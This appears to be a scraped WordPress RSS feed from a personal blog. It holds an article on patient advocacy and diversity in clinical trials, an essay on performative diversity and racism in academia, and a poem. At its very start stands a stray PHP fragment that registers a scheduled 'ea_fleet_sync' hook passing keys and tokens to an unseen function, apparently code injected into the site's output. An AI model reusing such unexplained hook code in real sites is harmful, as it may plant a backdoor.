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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); diversity – Tobioloyede https://tobioloyede.com Delving into daily life issues to foster change Mon, 09 Sep 2024 11:53:37 +0000 en-US hourly 1 https://wordpress.org/?v=7.1 https://tobioloyede.com/wp-content/uploads/2022/12/cropped-Beige-Elegant-Personal-Business-Card-2-32x32.png diversity – Tobioloyede https://tobioloyede.com 32 32 Transforming Clinical Trials Through Early Engagement https://tobioloyede.com/transforming-clinical-trials-through-early-engagement/ https://tobioloyede.com/transforming-clinical-trials-through-early-engagement/#respond Mon, 09 Sep 2024 11:53:37 +0000 https://tobioloyede.com/?p=2399 Shifting the Landscape: How Early Engagement with Patient Advocacy Groups is Transforming Clinical Trials and Promoting Health Equity

Source 

Imagine a world where medical treatments work for everyone, regardless of background. In recent years, the landscape of clinical trials has been evolving, with an increasing emphasis on diversity and health equity. At the forefront of this shift is patient advocacy. This vision is becoming a reality as Patient Advocacy Groups (PAG) champion the cause of diversity and health equity in clinical trials. By partnering with these groups early in the research process, we’re changing how trials are conducted and transforming the entire healthcare landscape. Here’s how:

Why Diversity in Clinical Trials Matters

Clinical trials are the lifeblood of medical innovation, providing the critical data needed to develop new treatments. Yet, for too long, these trials have been skewed toward homogeneity, often excluding the very populations who stand to benefit the most.

Diverse clinical trials are essential because genetic, environmental, and socio-economic factors can significantly influence how different groups respond to treatments. Without inclusive research, we risk creating therapies that are less effective—or even harmful—for underrepresented populations. By ensuring a broad spectrum of participants, we pave the way for safer, more effective treatments for everyone.

The FDA’s Diversity Action Plan, released in June 2024, emphasizes the importance of promoting diversity in clinical trials and ensuring that treatments are safe and effective for all populations, which is echoed in the emphasis on early engagement with Patient Advocacy Groups (PAGs) to foster inclusive and patient-centered research.

The Game-Changing Role of Patient Advocacy and PAGs

Patient advocacy groups (PAGs) are revolutionizing the clinical trial landscape by championing the cause of diversity and health equity. Their involvement in clinical research is proving to be transformative, addressing long-standing issues and paving the way for more inclusive and effective medical treatments. Here’s how PAGs are making a significant impact:

1. Raising Awareness and Educating Communities

One of the most crucial roles of PAGs is raising awareness about the importance of clinical trials. Advocacy groups actively educate communities about the benefits of participating in trials, demystifying the process, and addressing common misconceptions. By leveraging their networks and outreach capabilities, PAGs help ensure that diverse populations are informed and engaged, increasing participation rates and helping to bridge the gap between researchers and underrepresented communities.

2. Building Trust and Bridging Gaps

Many historically marginalized communities have deep-seated mistrust of medical research due to past abuses and ongoing disparities. PAGs serve as trusted intermediaries, using their established relationships within these communities to foster trust and encourage participation in clinical trials. Their role as advocates helps to mitigate fears and overcome skepticism, facilitating more inclusive research practices and ensuring that diverse perspectives are considered.

3. Boosting Recruitment and Retention

Recruiting and retaining diverse participants in clinical trials can be challenging, but PAGs play a vital role in this process. They assist researchers in identifying potential participants from various backgrounds and offer support throughout the trial to enhance retention rates. This support includes providing culturally sensitive resources, addressing participant concerns, and ensuring that all participants feel valued and supported, which is crucial for trial success.

4. Providing Valuable Insights and Feedback

PAGs bring valuable insights into the design and implementation of clinical trials. By involving these groups early in the research process, researchers gain access to a wealth of knowledge about patient needs, preferences, and potential barriers to participation. This feedback helps design patient-centric trials that are more responsive to the real-world experiences of diverse populations, ultimately leading to better trial outcomes and more effective treatments.

5. Advocating for Policy Changes

Beyond individual trials, PAGs advocate for broader policy changes that promote diversity and health equity in clinical research. They work with policymakers and regulatory bodies to influence guidelines and standards that support inclusive practices. By championing these changes, PAGs help to create a more equitable research environment that benefits all patients.

Patient Advocacy's Power in Giving Voice to Minority Clients - North Shore Patient Advocates

Some Strategies for Enhancing Diversity and Equity (Interestingly, these also work for Early Patient Engagements—PAGs)

We must adopt and expand strategies promoting early engagements, diversity, and health equity in clinical trials.

  1. Foster Strong Partnerships: Develop robust collaborations between researchers, patient advocacy groups, and community organizations to amplify the reach and impact of clinical trials.

 

  1. Promote Cultural Competency: Train researchers and trial staff in cultural competency to better understand and address the unique needs of diverse populations.

 

  1. Design Patient-Centric Trials: Involve advocacy groups in designing and implementing clinical trials to ensure they are patient-centric and responsive to the needs of all participants irrespective of sexual orientation, gender, race/ethnicity, age, and other social factors.

 

  1. Communicate Transparently: Maintain open, honest communication with participants throughout the trial process, sharing results and acknowledging the vital contributions of all involved. Additionally, ensure that participants’ health literacy is considered; thus, health communication is key.

Conclusion

Early engagement with patient advocacy groups is transforming the landscape of clinical trials, making them more inclusive and representative. By prioritizing diversity and health equity, we can develop treatments that are effective for all populations, ultimately leading to a more equitable healthcare system. The collaboration between researchers and patient advocacy groups is a powerful force for change, paving the way for a future where every patient has access to the best possible care. Together, we can ensure that all people share the benefits of medical research, regardless of background or circumstance.

“If we want to make sure every patient has the best shot, we have to have diversity in clinical trials. The time is now.” – Dr. Freda Lewis-Hall

Sources:

Image 1: The Social Media VUCA-bulary! 

Image 2: Patient Advocacy’s Power in Giving Voice to Minority Clients—North Shore Patient Advocates

FDA Guidance Provides New Details on Diversity Action Plans Required for Certain Clinical Studies

]]> https://tobioloyede.com/transforming-clinical-trials-through-early-engagement/feed/ 0 The Struggle is Real https://tobioloyede.com/the-struggle-is-real/ https://tobioloyede.com/the-struggle-is-real/#respond Mon, 21 Feb 2022 05:41:35 +0000 https://tobioloyedesblog.wordpress.com/?p=511 I have a lot I want to say and here is a warning before you dig into reading, I will be saying a lot in part. This is because the best way to put out my idea is through my podcast “Metamorphosis with Tobi” or on my blog.

Just because it is still Black history month, and we are really pushing for this thing called “Diversity.” I am certain I am not the only one thinking about the spread of the so-called Diversity, especially in February Black History Month. It makes me wonder if the diversity that these companies or schools display on social media is true. You see advertisements, posters, quotes, and all from companies, they use a black person or a person of color just to show diverse and inclusive they are in employing workers in their establishments.  I am not oblivious to the reality that yes there are those who are diverse or striving genuinely to do it. I have heard personal stories of how during Black History month, a person of color’s picture will be put up but, such a person is treated otherwise. I know that there are those who are genuine and treat people of color justly, but this is for those who pretend.

Walker-DeVose et al. (2019), “Diversity is reviewed as inherently benefiting white students as ‘students  of  color  are  admitted  so  that  they  can  help  White  students become more racially tolerant, liven up class dialog, and prepare white students for getting a job in a multicultural, global economy” (p.357). Okay, I am in shock. The educational sphere is not left out. Asides from the issue of being a person of color which naturally makes you a minority student, have you tried counting how many of your professors are people of color. I may be wrong, but I am aware that these things sometimes have little to do with departments. For instance, we may have more Asians in Chemistry or mostly white people in the criminal justice department.

Porter et al. (2020) research draws my attention, “Just being present on campus in full-time faculty positions does not mean Black women are welcomed with open arms into the academy, given the necessary support to progress through tenure and promotion, or paid equally for their labor” (p.678). On average, once you are not white, the struggle is real. Multiple jeopardies is a form of oppression that a black woman deals with all her life. Even in academia, her being, survival, visibility, and relevance are based on a narrow and sectional set of expectations from her white, male colleagues. Then, this brings me to the issue of citational politics.

It is interesting to know that citational politics is an issue in 2021. “Cite Black Women is a Black feminist intellectual project, praxis, and global movement to decolonize the practice of citation by redressing epistemic erasure of Black women from the literal and figurative bibliographies of the world” (Smith 2021, p.12). If we keep citing white, male authors or a particular set of people, it means that knowledge is drawn from a limited/divided set of experiences. Thus, higher education is in dire need of decolonization. You do it, I do it, we do it unintentionally.

Note, even the term “Person of Color” infuriates me because I wonder if being black indicates the color black, then white is what, not a color?

What do you think about slavery? If you think it has ended, then you are misled. Bryan Stevenson says, ‘slavery didn’t end in 1865, it just evolved.’ I am angry, and my anger is a response to injustice. My anger is not that of the whites’ “controlling image or stereotype” that is being used to naturally describe a black woman as an angry woman.

I think I just put my keyboard to rest here, all cannot be said in one post. I leave to write another day.

References

Porter, C. J., Moore, C. M., Boss, G. J., Davis, T. J., & Louis, D. A. (2020). To Be Black Women and Contingent Faculty: Four Scholarly Personal Narratives. Journal of Higher Education, 91(5), 674-697. https://doi.org/10.1080/00221546.2019.1700478

https://www.cnn.com/2018/12/07/politics/bryan-stevenson-axe-files/index.html

Walker-DeVose, D. C., Dawson, A., Schueths, A. M., Brimeyer, T., & Freeman, J. Y. (2018, November 30). Southern assumptions: Normalizing racialized structures at a university in the Deep South. Race, Ethnicity and Education. Retrieved February 21, 2022, from https://eric.ed.gov/?id=EJ1206633  

]]> https://tobioloyede.com/the-struggle-is-real/feed/ 0 HOPE https://tobioloyede.com/hope/ https://tobioloyede.com/hope/#respond Sat, 04 Apr 2020 16:34:47 +0000 https://tobioloyedesblog.wordpress.com/?p=241

In yester days, and yester weeks

You never thought to agree with me

Neither did I you

But here comes a raging force

With the power for unity in diversity

Hope is it that unites us

Sprouting in our souls without permission

With no boundaries, it thrives

Even in the abysmal abyss, it blossoms

For what is to life,

Without hope

What is survival,

If we don’t refine our values.

For the yester years and yester months,

Is where we learn our mistakes and forge our front.

]]> https://tobioloyede.com/hope/feed/ 0